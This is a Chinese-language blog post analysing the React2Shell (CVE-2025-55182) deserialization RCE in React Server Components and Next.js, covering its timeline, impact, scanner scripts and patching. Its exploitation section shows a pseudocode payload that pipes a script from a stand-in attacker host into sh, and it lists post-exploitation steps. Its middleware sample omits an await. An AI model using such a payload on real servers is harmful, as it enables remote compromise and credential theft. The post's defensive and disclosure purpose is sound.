
React2Shell 漏洞公告
CVE-2025-55182 是 React 19 和 Next.js 中的关键远程代码执行漏洞,源于服务器组件的不安全反序列化。默认配置下可通过精心构造的 HTTP 请求利用。请紧急修补,防止云凭证泄露和加密劫持。
# React2Shell (CVE-2025-55182):一次关键 React 漏洞的深度剖析
*作者:Lachlan Davidson*
*最后更新:2025 年 12 月 4 日*
---
## 目录
1. [引言](#introduction)
2. [背景与时间线](#background-and-timeline)
3. [理解 React2Shell](#understanding-react2shell)
- [什么是 React2Shell?](#what-is-react2shell)
- [漏洞技术概览](#technical-overview-of-the-vulnerability)
4. [对 React 与 Next.js 生态的影响](#the-impact-on-react-and-nextjs-ecosystems)
5. [不安全的反序列化与 Flight 协议](#insecure-deserialization-and-the-flight-protocol)
6. [真实世界的利用与案例研究](#real-world-exploitation-and-case-studies)
7. [检测与缓解技术](#detection-and-mitigation-techniques)
- [使用 Bash 与 cURL 扫描](#scanning-with-bash-and-curl)
- [用 Python 解析漏洞数据](#parsing-vulnerability-data-with-python)
- [高效监控技巧](#tips-for-effective-monitoring)
8. [高级利用技术与事后分析](#advanced-exploitation-techniques)
9. [处理误报:不要轻信什么](#addressing-false-positives)
10. [补丁与加固最佳实践](#best-practices-for-patching-and-hardening)
11. [结论](#conclusion)
12. [参考资料](#references)
---
## 引言 <a id="introduction"></a>
近几年,React 及其相关框架的采用率激增,支撑了从小型 Web 项目到大型企业应用的方方面面。随着流行度的提高,人们对漏洞的担忧也水涨船高,尤其是那些影响生态关键组件的漏洞。
2025 年 11 月 29 日,我(Lachlan Davidson)向 Meta 团队负责任地披露了一个毁灭性漏洞——React2Shell(CVE-2025-55182)。该漏洞影响服务器端 React 的实现,尤其是通过 React Server Components(RSC)中的 “Flight” 协议。React 与 Vercel 团队于 2025 年 12 月 3 日发布了补丁。本博客将从技术细节到真实世界利用,全方位解析该漏洞,并提供检测与缓解的最佳实践。
本文将涵盖:
- 漏洞解释及其对生态的重大影响
- 漏洞存在的原因及触发方式
- 真实利用案例与事后行为分析
- 用于检测易受攻击实例的示例代码与扫描命令
- 修补与加固部署的最佳实践
无论你是安全专家、开发者还是技术爱好者,本文都将带你从入门概念到高级利用技术,再到主动防御策略。
---
## 背景与时间线 <a id="background-and-timeline"></a>
了解事件时间线对于风险管理与快速响应至关重要:
- **2025 年 11 月 29 日(PT):** 我向 Meta 团队负责任地披露了漏洞。
- **2025 年 12 月 3 日(PT):** React 与 Vercel 团队发布了初始公告及补丁。
- **2025 年 12 月 4 日:** 公共 PoC 代码开始流传,但有些 “PoC” 并未真正反映漏洞本质,需谨慎辨别。
- **补丁后与持续监控:** Wiz Research、Amazon Threat Intelligence、Datadog 等观察到野外利用,攻击活动集中在公开的 Next.js 实例与云部署。
另一个 CVE(CVE-2025-66478)指向 Next.js,其本质上为 CVE-2025-55182 的重复,但有助于供应商与安全团队追踪 vendored 依赖。
---
## 理解 React2Shell <a id="understanding-react2shell"></a>
### 什么是 React2Shell? <a id="what-is-react2shell"></a>
React2Shell 是指 React Server Components 环境中的一个关键漏洞(CVE-2025-55182),影响 “Flight” 协议。不安全的反序列化使得未经认证即可在服务器端执行远程代码。
关键特性:
- **严重等级:10.0(Critical)**
- **无需认证的 RCE:** 普通 HTTP 请求即可触发
- **默认配置即受影响:** 使用 `create-next-app` 创建的标准 Next.js 应用在未加固时都易受攻击
### 漏洞技术概览 <a id="technical-overview-of-the-vulnerability"></a>
漏洞根源在于服务器处理 RSC 载荷时的反序列化逻辑缺乏充分校验。攻击者可提交精心构造的数据,反序列化后触发任意代码执行。
简化流程:
1. **构造恶意载荷**
2. **发送 HTTP 请求**
3. **服务器反序列化并执行**
4. **获得远程代码执行**
由于多数应用的默认配置缺乏输入过滤或暴露限制,此漏洞尤为危险。
---
## 对 React 与 Next.js 生态的影响 <a id="the-impact-on-react-and-nextjs-ecosystems"></a>
### 为何如此危险?
1. **广泛使用:** React/Next.js 占据大量市场
2. **利用简单:** 一条 HTTP 请求即可
3. **成功率高:** 默认设置下几乎 100% 成功
4. **公共暴露:** 39% 云环境发现存在易受攻击实例
### Next.js 特例
Next.js 将 React 作为 vendored 依赖,传统扫描器可能遗漏。故额外分配 CVE-2025-66478 以提醒用户。
---
## 不安全的反序列化与 Flight 协议 <a id="insecure-deserialization-and-the-flight-protocol"></a>
### 不安全反序列化
反序列化是把序列化数据还原为对象/结构的过程。不安全反序列化指:
- **校验不足**
- **导致恶意代码执行**
### RSC 的 Flight 协议
Flight 协议用于高效交换数据,但由于 `react-server` 包校验不足,产生攻击面。服务器收到 Flight 请求时:
1. 反序列化载荷
2. 解析为组件渲染指令
3. 若被篡改,则可能执行系统命令
---
## 真实世界的利用与案例研究 <a id="real-world-exploitation-and-case-studies"></a>
### 野外利用
- **凭证窃取**
- **加密矿工** (XMRig 等)
- **事后侦察与持久化**
### 案例:Kubernetes 上的 Next.js
攻击者:
- 建立反向 shell
- 读取 Kubernetes Secret
- 权限提升至宿主机
### 案例:云环境攻击
Wiz Research 数据:
- 39% 云环境含易受攻击实例
- 大量公开暴露
- 捕获 AWS 凭证并 Base64 外传
---
## 检测与缓解技术 <a id="detection-and-mitigation-techniques"></a>
### 使用 Bash 与 cURL 扫描 <a id="scanning-with-bash-and-curl"></a>
```bash
#!/bin/bash
# React2Shell (CVE-2025-55182) 简易扫描脚本
TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}'
echo "正在扫描 $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "[$TARGET] 可能存在漏洞"
else
echo "[$TARGET] 未发现明显漏洞,仍建议进一步检测"
fi
用 Python 解析漏洞数据
import requests, json
def scan_target(url):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"扫描 {url} ...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] {url} 可能存在漏洞")
else:
print(f"[-] {url} 暂未发现问题")
except requests.exceptions.RequestException as e:
print(f"[!] 扫描 {url} 时出错: {e}")
if __name__ == "__main__":
for t in ["https://example.com/api/flight", "https://another-example.com/api/flight"]:
scan_target(t)
高效监控技巧
- 启用运行时防护
- 日志监控异常 HTTP 请求
- 集成漏洞管理工具
高级利用技术与事后分析
利用开发要点
- 载荷构造
- 绕过 WAF/运行时防护
- 漏洞链组合
// 仅供学习用途的伪代码
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(maliciousPayload));
事后步骤
- 反向 Shell
- 敏感数据收集
- 横向移动
- 部署恶意软件
处理误报:不要轻信什么
误报可能因检测到以下函数而触发:
vm#runInThisContextchild_process#execfs#writeFile
真正的 React2Shell 利用与这些函数无关,而是依赖 Next.js 自动管理的服务器函数。
建议:
- 与官方公告交叉验证
- 结合运行时行为分析
- 不依赖静态签名
补丁与加固最佳实践
立即整改
- 查看官方公告
- 立即打补丁(如
react-server-dom*19.0.1、19.1.2、19.2.1) - 启用运行时防护
- 监控异常行为
- 情报共享
开发者加固指南
- 严格输入验证
- 限制关键端点暴露
- 定期安全审计
- 环境隔离
// Next.js 中间件示例:额外输入校验
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Invalid payload format', { status: 400 });
}
} catch {
return new NextResponse('Error processing request', { status: 400 });
}
}
return NextResponse.next();
}
结论
React2Shell(CVE-2025-55182)提醒我们:即便是广泛采用、被信任的框架也可能存在高危漏洞。其根源于 RSC “Flight” 协议中的不安全反序列化,因易利用且影响范围广而极具威胁。
要点回顾:
- 漏洞允许未经认证的 RCE
- React 与 Next.js 均受影响(Next.js 对应 CVE-2025-66478)
- 已有真实攻击案例
- 必须快速检测、打补丁并警惕误报
- 持续更新依赖并采用多层安全措施
参考资料
- React 官方博客
- Next.js 文档
- CVE-2025-55182 详情
- Meta 安全公告
- Vercel 博客与公告
- Wiz Research 研究
- GreyNoise Intelligence
本文旨在帮助你全方位理解 React2Shell,从技术细节到检测与缓解方案。请及时关注官方公告,并不断强化安全防护。
安全编码,畅行无忧!
